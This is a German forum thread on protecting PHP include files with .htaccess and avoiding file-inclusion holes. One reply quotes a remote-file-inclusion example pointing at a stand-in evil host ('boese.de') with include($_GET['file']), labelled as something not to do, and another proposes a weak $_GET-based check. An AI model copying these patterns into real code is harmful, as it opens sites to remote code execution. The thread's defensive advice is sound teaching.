&sicherheit
Daniel
- webserver
0 Fabian St.0 Dennis0 Andreas Korthaus0 Fabian St.0 Daniel0 Fabian St.0 Andreas Korthaus0 Daniel0 Fabian St.
hi,
ich möchte einen unterodner so schützen das die darin liegenden dateien nur von einem im übergeordneten ordner liegenden php-script included werden können.
sprich nur das script:
www.irgendetwas.de/script.php
darf auf
www.irgendetwas.de/unterordner/datei.xyz
zugreifen. wobei der scriptname egal sein soll.
ich denke es geht mit .htaccess aber was muss ich da reinschreiben? ohne das ich beim include sowas machen muss
include(http://name@pwd/www.addresse/datei)
MfG
Hi!
ich möchte einen unterodner so schützen das die darin liegenden dateien nur von einem im übergeordneten ordner liegenden php-script included werden können.
sprich nur das script:
www.irgendetwas.de/script.php
darf auf
www.irgendetwas.de/unterordner/datei.xyz
zugreifen. wobei der scriptname egal sein soll.
Dann legst du in das Verzeichnis /unterordner/ eine .htaccess mit folgendem Inhalt:
Order Allow,Deny
Deny from All
In script.php bindest du datei.xyz dann so ein:
include 'unterordner/datei.xyz';
Dies ist deshalb dann möglich, weil PHP nicht über HTTP auf die Datei zugreift (und damit den Bedingungen der .htaccess unterworfen wäre), sondern über das Dateisystem.
Grüße,
Fabian St.
Hi Fabian,
Dies ist deshalb dann möglich, weil PHP nicht über HTTP auf die Datei zugreift (und damit den Bedingungen der .htaccess unterworfen wäre), sondern über das Dateisystem.
Wie du ja selber sagst, kann nun aber das Script immer noch von einem Script included werden, dass eine Ordnerebene höher liegt, als der Document Root - und genau das wollte Daniel aber verhinderrn, wenn ich ihn richtig verstanden habe.
MfG, Dennis.
Hi,
Wie du ja selber sagst, kann nun aber das Script immer noch von einem
Script included werden, dass eine Ordnerebene höher liegt, als der
Document Root - und genau das wollte Daniel aber verhinderrn, wenn
ich ihn richtig verstanden habe.
jain. ich möchte das die datei nicht von einem script das ein
aussenstehender auf seinem localen rechner laufen hat included werden
kann bzw. die darin stehenden daten auslesen kann. dieser müsste das
dann aber ja mit include(http:...) einbinden und da greift dann die
.htaccess soweit ich das verstanden habe.
MfG
echo $begrüßung;
ich möchte das die datei nicht von einem script das ein
aussenstehender auf seinem localen rechner laufen hat included werden
kann bzw. die darin stehenden daten auslesen kann. dieser müsste das
dann aber ja mit include(http:...) einbinden und da greift dann die
.htaccess soweit ich das verstanden habe.
Das Prinzip funktoniert nicht so, wie du dir das vorstellst. Über HTTP werden keine Dateien sondern Ressourcen angefordert (sonst hieße es nicht URL sondern UFL). Nun kommt es auf deinen Webserver an, was der bei Anforderung von Ressource X macht.
Der Webserver wird, bei nicht eingeschränktem Zugriff auf die angeforderte Ressource, keinen ausführbaren Script-Quellcode ausliefern, wenn er so konfiguriert ist, dass er diese Scripts erst dem zuständigen Programmteil zur Verarbeitung zu übergeben hat.
echo "$verabschiedung $name";
Hallo!
In script.php bindest du datei.xyz dann so ein:
include 'unterordner/datei.xyz';
Aber verwende \_niemals\_nie\_ include(), wenn Du nicht ganz bewußt PHP-Code der in der Datei steht ausführen willst. In den meisten Fällen reicht [readfile()](http://www.php.net/readfile):
~~~php
readfile('unterordner/datei.xyz');
Durch "include($foo)" entstehen mit die meisten der aktuellen Sicherheitslücken in PHP-Scripten.
Grüße
Andreas
Hi Andreas!
Aber verwende _niemals_nie_ include(), wenn Du nicht ganz bewußt PHP-Code der in der Datei steht ausführen willst. In den meisten Fällen reicht readfile():
readfile('unterordner/datei.xyz');
Ja, das stimmt und ich handhabe dies genauso, jedoch ist aus der Frage des OP nicht zu erkennen, ob es sich bei der Datei um ein weiteres PHP-Script handelt oder um eine sonstige Datei. Da erster Fall wesentlich häufiger - auch in den Fragen hier im Forum - vorkommt, habe ich mich mal auf diesen Fall beschränkt. In Zukunft werde ich jedoch auch zweiteren erwähnen.
> Durch "include($foo)" entstehen mit die meisten der aktuellen Sicherheitslücken in PHP-Scripten.
Ich weiß ;-)
Grüße,
Fabian St.
--
\---------------------
fabi@erde ~# whatis spam
spam: nothing appropriate
\---------------------
Selfcode: [ie:{ fl:( br:> va:) ls:\[ fo:) rl:( n4:( ss:) de:> js:| ch:? mo:) zu:)](http://www.peter.in-berlin.de/projekte/selfcode/?code=ie%3A%7B+fl%3A%28+br%3A%3E+va%3A%29+ls%3A%5B+fo%3A%29+rl%3A%28+n4%3A%28+ss%3A%29+de%3A%3E+js%3A%7C+ch%3A%3F+mo%3A%29+zu%3A%29)
Hi,
Ja, das stimmt und ich handhabe dies genauso, jedoch ist aus der
Frage des OP nicht zu erkennen, ob es sich bei der Datei um ein
weiteres PHP-Script handelt oder um eine sonstige Datei.
also es sind mehrere unterschidliche dateien. in einer steht z.B.
$user = "ich";
$host = "mein MySQL host";
$pwd = "mein MySQL pwd";
in einer weiteren stehen funktionen
function zaehle($von, $bis)
{
while($von <= $bis)
{
echo "$von<br>";
$von++;
}
return true;
}
MfG
Hi!
also es sind mehrere unterschidliche dateien. in einer steht z.B.
$user = "ich";
$host = "mein MySQL host";
$pwd = "mein MySQL pwd";
>
> in einer weiteren stehen funktionen
> [...]
In diesem Falle ist also mein «include» durchaus angebracht. Legst du diese Dateien dann in ein Unterverzeichnis, das ein solche .htaccess beinhaltet, welche ich bereits gepostet habe, dann können diese \_nicht\_ über HTTP angefordert werden, jedoch natürlich noch immer über das Dateisystem.
Grüße,
Fabian St.
--
\---------------------
fabi@erde ~# whatis spam
spam: nothing appropriate
\---------------------
Selfcode: [ie:{ fl:( br:> va:) ls:\[ fo:) rl:( n4:( ss:) de:> js:| ch:? mo:) zu:)](http://www.peter.in-berlin.de/projekte/selfcode/?code=ie%3A%7B+fl%3A%28+br%3A%3E+va%3A%29+ls%3A%5B+fo%3A%29+rl%3A%28+n4%3A%28+ss%3A%29+de%3A%3E+js%3A%7C+ch%3A%3F+mo%3A%29+zu%3A%29)
Hallo!
also es sind mehrere unterschidliche dateien. in einer steht z.B.
$user = "ich";
$host = "mein MySQL host";
$pwd = "mein MySQL pwd";
>
> in einer weiteren stehen funktionen
>
> ~~~php
> function zaehle($von, $bis)
> {
> while($von <= $bis)
> {
> echo "$von<br>";
> $von++;
> }
> return true;
> }
>
OK, dann brauchst Du also include(), wenn Du PHP-Code ausführen willst. Allerdings würde ich solche Dateien lieber außerhalb des doc-root speichern. Bedenke bei include(), dass es nicht möglich sein darf, dass Dir jemand einen Parameter übergeben kann, so dass er eigenen Code einbinden kann:
/script.php?file=http://boese.de/BOESES_SCRIPT
include($_GET['file'].'.php');
z.B. (also sowas NICHT machen, nicht dass da irgendwelche Zweifel aufkommen ;-))
Am besten keine Vaiablen verwenden, und wenn doch, nur welche die 100%ig geprüft sind, z.B. über eine Whitelist. Und ein basename() ist meistens auch nicht verkehrt.
Grüße
Andreas
Hi,
/script.php?file=http://boese.de/BOESES_SCRIPT
include($_GET['file'].'.php');
nein die datei(namen) stehen bei mir fest im script und werden nicht über get-variablen übergeben. fals du das meinst.
MfG
Hi Andreas!
OK, dann brauchst Du also include(), wenn Du PHP-Code ausführen willst. Allerdings würde ich solche Dateien lieber außerhalb des doc-root speichern.
Wobei dies natürlich bei den meisten Providern nicht möglich sein wird, sodass eine .htaccess für diesen Fall doch die bessere Möglichkeit ist.
Bedenke bei include(), dass es nicht möglich sein darf, dass Dir jemand einen Parameter übergeben kann, so dass er eigenen Code einbinden kann:
/script.php?file=http://boese.de/BOESES_SCRIPT
include($_GET['file'].'.php');
z.B. (also sowas NICHT machen, nicht dass da irgendwelche Zweifel aufkommen ;-))
Am besten keine Vaiablen verwenden, und wenn doch, nur welche die 100%ig geprüft sind, z.B. über eine Whitelist. Und ein basename() ist meistens auch nicht verkehrt.
Eine andere Möglichkeit (das meintest du wahrscheinlich mit Whitelist) ist, dass man sich ein Array aufbaut, das alle Dateien enthält, die eingebunden werden dürfen und dann z.B. mittels in_array() prüft, ob dies der Fall ist und wenn nicht, eine entsprechende Meldung ausgibt.
Grüße,
Fabian St.
Hallo Fabian.
Eine andere Möglichkeit (das meintest du wahrscheinlich mit Whitelist) ist, dass man sich ein Array aufbaut, das alle Dateien enthält, die eingebunden werden dürfen und dann z.B. mittels in_array() prüft, ob dies der Fall ist und wenn nicht, eine entsprechende Meldung ausgibt.
Oder aber man lässt überprüfen, ob die mittels $_GET-Parameter ermittelte Resource auch tatsächlich im DOCUMENT_ROOT oder einem anderen im Skript spezifizierten Verzeichnis liegt.
Gruß, Ashura
Hi Ashura,
Oder aber man lässt überprüfen, ob die mittels $_GET-Parameter ermittelte Resource auch tatsächlich im DOCUMENT_ROOT oder einem anderen im Skript spezifizierten Verzeichnis liegt.
Dann ließen sich aber immer noch Dateien einbinden, die für so etwas eigentlich gar nicht gedacht waren. Eventuell könnte man hier auch wieder „auf die Fresse fliegen”, false file_exists bei allow_url_fopen true zurückgibt, wenn die Ressource auf einem anderen Server existiert. Müsste man mal ausprobieren.
MfG, Dennis.
Hallo Dennis.
Dann ließen sich aber immer noch Dateien einbinden, die für so etwas eigentlich gar nicht gedacht waren.
Bei folgendem Konstrukt?
if(file_exists($_SERVER["DOCUMENT_ROOT"]."/includes/".$_GET['site'].".php")
{
// ...
}
Eventuell könnte man hier auch wieder „auf die Fresse fliegen”, false file_exists bei allow_url_fopen true zurückgibt, wenn die Ressource auf einem anderen Server existiert. Müsste man mal ausprobieren.
Soviel konnte ich bisher nicht testen. Falls obiges Konstrukt aber lückenhaft ist, bin ich für Verbesserungsvorschläge gerne offen.
Gruß, Ashura
Hi Ashura,
Hehe, ich bin nicht der einzigste ;-)
Vermutlich hast du auch "Auf abgeschickte Nachricht weiterleiten" oder wie das heißt in der Forumskonfiguration aktiviert?
MfG, Dennis.
Hallo Dennis.
Hehe, ich bin nicht der einzigste ;-)
Nein, du bist nicht der Einzi_g_e. ;-)
Vermutlich hast du auch "Auf abgeschickte Nachricht weiterleiten" oder wie das heißt in der Forumskonfiguration aktiviert?
Meinst du das hier?
[ ] Nach dem Absenden von Nachrichten zum erstellten Posting weiterleiten.
Ja, habe ich, da ich es ungemein praktisch finde. (Obwohl ich an meinen Beiträgen im Nachhinein sowieso nichts mehr ändern kann.)
Gruß, Ashura
Hallo Dennis.
Dann ließen sich aber immer noch Dateien einbinden, die für so etwas eigentlich gar nicht gedacht waren.
Bei folgendem Konstrukt?
if(file_exists($_SERVER["DOCUMENT_ROOT"]."/includes/".$_GET['site'].".php")
{
// ...
}
Eventuell könnte man hier auch wieder „auf die Fresse fliegen”, false file_exists bei allow_url_fopen true zurückgibt, wenn die Ressource auf einem anderen Server existiert. Müsste man mal ausprobieren.
Soviel konnte ich bisher nicht testen. Falls obiges Konstrukt aber lückenhaft ist, bin ich für Verbesserungsvorschläge gerne offen.
Gruß, Ashura
Hi Ashura,
Oder aber man lässt überprüfen, ob die mittels $_GET-Parameter ermittelte Resource auch tatsächlich im DOCUMENT_ROOT oder einem anderen im Skript spezifizierten Verzeichnis liegt.
Dann ließen sich aber immer noch Dateien einbinden, die für so etwas eigentlich gar nicht gedacht waren. Eventuell könnte man hier auch wieder „auf die Fresse fliegen”, false file_exists bei allow_url_fopen true zurückgibt, wenn die Ressource auf einem anderen Server existiert. Müsste man mal ausprobieren.
MfG, Dennis.
Hi,
sorry, für die zwei Postings, allerdigns habe ich beim Absenden des ersten Postings vom Forum die Fehlermeldung "Die von Ihnen angeforderte Nachricht konnte nicht gefunden werden" bekommen.
Ich glaube ich kann mir das auch halbwegs erklären: Ich lasse mich nämlich (habe ich so konfiguriert) auf ein soeben geschriebenes Posting direkt weiterleiten.
Doch wie kann es sein, dass das Posting, was ich gerade geschrieben habe, und was auch abgeschickt wurde (es wurde ja gespeichert) dann beim unmittelbaren Aufruf danach nicht existiert?
MfG, Dennis.
Hallo Dennis.
sorry, für die zwei Postings, allerdigns habe ich beim Absenden des ersten Postings vom Forum die Fehlermeldung "Die von Ihnen angeforderte Nachricht konnte nicht gefunden werden" bekommen.
Dito.
Ich glaube ich kann mir das auch halbwegs erklären: Ich lasse mich nämlich (habe ich so konfiguriert) auf ein soeben geschriebenes Posting direkt weiterleiten.
Dito.²
Doch wie kann es sein, dass das Posting, was ich gerade geschrieben habe, und was auch abgeschickt wurde (es wurde ja gespeichert) dann beim unmittelbaren Aufruf danach nicht existiert?
Anscheinend wurde der Eintrag daraufhin nicht schnell genug erkannt, denn die Nachricht wurde ja schon gespeichert.
Zusätzlich bekomme ich hier aber auch Verbindungsraten von 200 bis 400 Bytes / sec... :-/
Gruß, Ashura
Hi Ashura,
Zusätzlich bekomme ich hier aber auch Verbindungsraten von 200 bis 400 Bytes / sec... :-/
Ja, gerade hat es auch bei mir ungemein lange gedauert, bis irgendwas geladen wurde. Jetzt scheint es allerdings wieder ok zu sein, die Meldung kommt auch nicht mehr und ich kann wieder normal hier posten ;-)
MfG, Dennis.
Hallo Dennis.
Ja, gerade hat es auch bei mir ungemein lange gedauert, bis irgendwas geladen wurde. Jetzt scheint es allerdings wieder ok zu sein, die Meldung kommt auch nicht mehr und ich kann wieder normal hier posten ;-)
Dito.³ ;-)
Gruß, Ashura
你好 Ashura,
Ja, gerade hat es auch bei mir ungemein lange gedauert, bis irgendwas
geladen wurde. Jetzt scheint es allerdings wieder ok zu sein, die Meldung
kommt auch nicht mehr und ich kann wieder normal hier posten ;-)Dito.³ ;-)
http://wwwtech.de/cforum/wiki/moin.cgi/API:Shared_Memory
再见,
克里斯蒂安
Hallo!
Dann ließen sich aber immer noch Dateien einbinden, die für so etwas eigentlich gar nicht gedacht waren. Eventuell könnte man hier auch wieder „auf die Fresse fliegen”, false file_exists bei allow_url_fopen true zurückgibt, wenn die Ressource auf einem anderen Server existiert. Müsste man mal ausprobieren.
Oder einfach (englisches) Manual lesen: "As of PHP 5.0.0 this function can also be used with some URL wrappers."
Was besseres als eine gute Whitelist gibt es nicht. Und sonst - egal was man im Parameter erwartet - immer noch basename() verwenden, und einen absoluten Pfad voranstellen.
Grüße
Andreas
Hallo Fabian
OK, dann brauchst Du also include(), wenn Du PHP-Code ausführen willst. Allerdings würde ich solche Dateien lieber außerhalb des doc-root speichern.
Wobei dies natürlich bei den meisten Providern nicht möglich sein wird, sodass eine .htaccess für diesen Fall doch die bessere Möglichkeit ist.
Ist das wirklich so? Meine bisherigen Erfahrungen sind genau umgekehrt. Außerhalb der doc-root konnte ich _immer_ speichern, eigene .htaccess-Dateien waren nur in Ausnahmefällen möglich. Ich möchte davon allerdings nicht auf die allgemeine Statistik schliessen.
Freundliche Grüße
Vinzenz
Hi!
Wobei dies natürlich bei den meisten Providern nicht möglich sein wird, sodass eine .htaccess für diesen Fall doch die bessere Möglichkeit ist.
Ist das wirklich so? Meine bisherigen Erfahrungen sind genau umgekehrt. Außerhalb der doc-root konnte ich _immer_ speichern, eigene .htaccess-Dateien waren nur in Ausnahmefällen möglich. Ich möchte davon allerdings nicht auf die allgemeine Statistik schliessen.
Auch ich kann natürlich nur für meinen Fall (1&1) dies explizit sagen und daher war vielleicht die obige Formulierung etwas zu allgemein. Dennoch denke ich, dass sich das auch auf andere Provider übertragen lässt, zumal sich die Konfiguration (insbesondere was Serversoftware, Userverwaltung, etc.) bei SharedHosting-Sachen angeht, ähnelt.
So landet man bei 1&1 nach dem Aufbau einer FTP-Verbindung direkt in seinem doc-root und hat dort auch keine Möglichkeit in der Verzeichnishierarchie weiter nach oben zu gehen.
Im Admincenter gibt es zwar die Möglichkeit, den doc-root für eine spezielle Domain auf ein anderes Verzeichnis umzubiegen, jedoch ist diese Option gut versteckt bzw. man erkennt nicht sofort, dass sich hinter der Option «Verwendungszweck» jene Möglichkeit versteckt.
In diesem Falle ist m.E. die Verwendung einer .htaccess die einfachere Lösung, zumal diese doch jetzt bei einem Großteil der Hoster zur Standardausstattung der Basis-Pakete gehört.
Grüße,
Fabian St.
Hallo Fabian
Auch ich kann natürlich nur für meinen Fall (1&1) dies explizit sagen.
1&1 war der zweite Provider, mit dem ich zu tun hatte. Ich hatte Zugriff außerhalb der doc-root, ohne Kunstgriffe. Ist aber auch etwas her (1999). Ich sah damals keine Notwendigkeit, .htaccess zu nutzen und weiß daher nicht mehr, ob es zur Verfügung stand.
Freundliche Grüße
Vinzenz